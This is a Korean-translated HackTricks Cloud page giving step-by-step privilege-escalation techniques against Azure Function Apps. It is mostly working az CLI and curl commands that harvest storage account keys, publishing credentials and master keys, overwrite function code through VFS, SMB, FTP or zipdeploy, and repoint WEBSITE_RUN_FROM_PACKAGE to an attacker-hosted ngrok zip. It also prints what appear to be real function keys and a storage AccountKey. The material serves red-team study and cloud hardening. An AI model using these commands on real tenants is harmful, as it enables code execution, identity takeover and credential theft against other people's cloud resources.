Az - Functions App Privesc
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Function Apps
다음 페이지에서 자세한 정보를 확인하세요:
Bucket Read/Write
Function 데이터를 저장하는 Storage Account 내부의 containers를 읽을 수 있는 권한이 있으면, 다른 containers(사용자 정의 또는 사전 정의된 이름)를 찾아 function이 실행하는 코드를 포함하고 있을 수 있습니다.
함수 코드가 위치한 곳을 찾고 그 위치에 대한 쓰기 권한이 있다면, 해당 함수를 임의의 코드를 실행하도록 만들어 함수에 연결된 managed identities로 권한 상승할 수 있습니다.
File Share(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
함수의 코드는 보통 file share 내부에 저장됩니다. 충분한 접근 권한이 있으면 코드 파일을 수정하여 function이 임의의 코드를 로드하도록 만들 수 있으며, 이를 통해 Function에 연결된 managed identities로 권한 상승이 가능합니다.
This deployment method usually configures the settings WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE which you can get from
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
해당 구성에는 Function이 코드에 접근하는 데 사용할 수 있는 Storage Account Key가 포함됩니다.
Caution
File Share에 연결하고 실행 중인 스크립트를 수정할 수 있는 충분한 권한이 있으면 Function에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
다음 예제는 macOS를 사용해 file share에 연결하는 방법을 보여주지만, file share에 대한 자세한 정보는 다음 페이지도 확인하는 것이 좋습니다:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases(WEBSITE_RUN_FROM_PACKAGE)
함수 앱이 사용하는 Storage Account 컨테이너의 function-releases 폴더(보통 컨테이너 이름도 function-releases) 안에서 zip releases를 찾는 경우가 흔합니다.
보통 이 배포 방식은 WEBSITE_RUN_FROM_PACKAGE 설정을 다음 위치에 지정합니다:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
This config will usually contain a SAS URL to download the code from the Storage Account.
Caution
충분한 권한으로 contains the code in zip가 들어있는 blob container에 연결할 수 있으면 Function에서 임의의 코드를 실행하고 escalate privileges할 수 있습니다.
github-actions-deploy(WEBSITE_RUN_FROM_PACKAGE)
Just like in the previous case, if the deployment is done via Github Actions it’s possible to find the folder github-actions-deploy in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting WEBSITE_RUN_FROM_PACKAGE.
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
function data를 저장하는 Storage Account 내의 컨테이너들을 읽을 수 있는 권한이 있으면 scm-releases 컨테이너를 찾을 수 있습니다. 해당 컨테이너에서는 최신 릴리스를 Squashfs filesystem file format으로 찾을 수 있으며, 따라서 function의 코드를 읽을 수 있습니다:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
스토리지 계정의 컨테이너 azure-webjobs-secrets 내의 폴더 <app-name> 안에 있는 JSON 파일들에서 master and functions keys를 찾을 수도 있습니다.
Caution
blob container에 연결할 수 있는 충분한 권한이 있고, 그 컨테이너가 contains the code in a zip extension file (실제로는
squashfs)를 포함하고 있다면, Function에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
이 권한은 지정된 함수의 function, master 및 system 키를 나열할 수 있게 하지만 host 키는 나열할 수 없으며, 다음으로 수행할 수 있습니다:
az functionapp keys list --resource-group <res_group> --name <func-name>
master key로는 다음과 같은 URL에서 소스 코드를 가져올 수도 있습니다:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
그리고 함수에서 실행되는 코드를 변경하려면:
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
이 권한은 다음을 사용하여 지정된 함수의 기본 키를 가져올 수 있게 합니다:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
획득한 기본 키로 함수를 호출하세요:
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
Microsoft.Web/sites/host/functionKeys/write
이 권한은 지정된 함수의 function key를 생성하거나 업데이트할 수 있도록 허용합니다:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
이 권한은 다음을 사용하여 지정된 함수에 대한 마스터 키를 생성/업데이트할 수 있게 합니다:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Caution
이 키를 사용하면 이전에 설명한 것처럼 소스 코드를 액세스하고 수정할 수도 있다는 점을 기억하세요!
Microsoft.Web/sites/host/systemKeys/write
이 권한은 지정된 함수에 대해 시스템 함수 키를 다음과 같이 생성/업데이트할 수 있게 해줍니다:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
키를 사용하세요:
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
Microsoft.Web/sites/config/list/action
이 권한은 함수의 설정을 가져올 수 있게 합니다. 이러한 구성 내에서 기본값인 AzureWebJobsStorage 또는 WEBSITE_CONTENTAZUREFILECONNECTIONSTRING 를 찾아볼 수 있으며, 이는 함수의 blob storage에 FULL 권한으로 접근할 수 있는 계정 키 를 포함하고 있을 수 있습니다.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
또한, 이 권한을 통해 (활성화된 경우) 다음과 같이 SCM username and password를 얻을 수 있습니다:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
이 권한들은 앞서 본 것처럼 함수의 구성 값들을 나열할 수 있게 해주며, 이 값들을 수정할 수 있습니다. 이 설정들은 함수 내부에서 실행할 코드가 어디에 위치하는지를 나타내므로 유용합니다.
따라서 웹 애플리케이션에서 실행할 새 코드를 포함한 zip 파일의 URL을 가리키도록 WEBSITE_RUN_FROM_PACKAGE 설정 값을 지정할 수 있습니다:
- 먼저 현재 구성을 가져옵니다
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- 함수가 실행할 코드를 작성하고 공개적으로 호스팅하세요.
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- 함수를 수정하되 이전 파라미터는 그대로 유지하고 마지막에 코드가 포함된 zip의 URL을 가리키는 설정
WEBSITE_RUN_FROM_PACKAGE을 추가하세요.
다음은 제 설정 예시(값은 본인에 맞게 변경해야 합니다) 입니다. 끝 부분의 값 "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip" 에 주목하세요. 이 URL이 제가 앱을 호스팅하던 위치입니다.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
이 권한이 있으면 웹 콘솔을 통해(또는 다음 API 엔드포인트를 통해) 애플리케이션의 코드를 수정할 수 있습니다:
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
이 권한은 모든 퍼블리싱 프로파일을 나열할 수 있게 해주며, 이는 기본적으로 basic auth credentials를 포함합니다:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
또 다른 옵션은 자신의 creds를 설정하고 다음을 사용해 이용하는 것입니다:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- 만약 REDACTED 자격 증명
만약 해당 자격 증명이 REDACTED로 표시된다면, 이는 당신이 need to enable the SCM basic authentication option 때문이며, 이를 위해 두 번째 권한 (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- 방법 SCM
그런 다음, 이러한 basic auth credentials to the SCM URL를 사용해 function app의 SCM URL에 접속하여 env variables의 값을 얻을 수 있습니다:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
참고: SCM username 은 보통 문자 “$” 다음에 앱 이름이 붙은 형태입니다. 예: $<app-name>.
다음 URL로 웹 페이지에 접근할 수도 있습니다: https://<app-name>.scm.azurewebsites.net/BasicAuth
설정 값에는 function app의 데이터를 저장하는 storage account의 AccountKey가 포함되어 있어 해당 storage account를 제어할 수 있습니다.
- 방법 FTP
다음 정보를 사용하여 FTP 서버에 접속합니다:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
참고로 FTP username은 보통 <app-name>\$<app-name> 형식입니다.
Microsoft.Web/sites/hostruntime/vfs/read
이 권한은 VFS를 통해 앱의 소스 코드를 읽을 수 있게 합니다:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
이 권한으로는 get the admin token를 얻을 수 있으며, 이는 나중에 master key를 가져오는 데 사용되어 함수의 코드를 조회하고 수정할 수 있습니다.
하지만 최근 확인에서는 token이 반환되지 않아 비활성화되었거나 더 이상 작동하지 않을 수 있습니다. 아래는 이를 수행하는 방법입니다:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
이 권한은 비활성화되어 있을 수 있는 Functions를 활성화(또는 비활성화)할 수 있습니다.
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
다음 URL에서 함수가 활성화되어 있는지 비활성화되어 있는지 확인할 수도 있습니다(괄호 안의 권한 사용):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
이 권한들로 컨테이너로 구성된 function app이 실행하는 컨테이너를 수정할 수 있습니다. 이로 인해 공격자는 예를 들어 docker hub에 악성 azure function container app을 업로드하고 해당 function이 이를 실행하도록 만들 수 있습니다.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
이 권한들을 통해 attach a new user managed identity to a function 하는 것이 가능합니다. 만약 해당 function이 탈취되면, 이는 어떤 user managed identity로도 권한을 상승시키는 데 이용될 수 있습니다.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
원격 디버깅
이는 explained in the docs에서 설명한 것처럼 실행 중인 Azure Function에 연결해 디버그할 수 있습니다. 하지만 기본적으로 개발자가 잊어 취약한 설정을 남기지 않도록 Azure는 이 옵션을 2일 후에 자동으로 비활성화합니다.
Function에 디버깅이 활성화되어 있는지 확인할 수 있습니다:
az functionapp show --name <app-name> --resource-group <res-group>
권한 Microsoft.Web/sites/config/write이 있으면 함수를 디버깅 모드로 설정할 수도 있습니다 (다음 명령은 또한 Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read 및 Microsoft.Web/sites/Read 권한을 필요로 합니다).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Github repo 변경
다음 명령들을 실행해 배포가 이루어지는 Github repo를 변경해 보았지만, 변경이 되었더라도 새 코드가 로드되지 않았습니다 (아마도 Github Action이 코드를 업데이트하기를 기대하고 있기 때문입니다).
게다가 managed identity federated credential이 새 repo를 허용하도록 업데이트되지 않았습니다, 그래서 이 방법은 그다지 유용하지 않은 것 같습니다.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

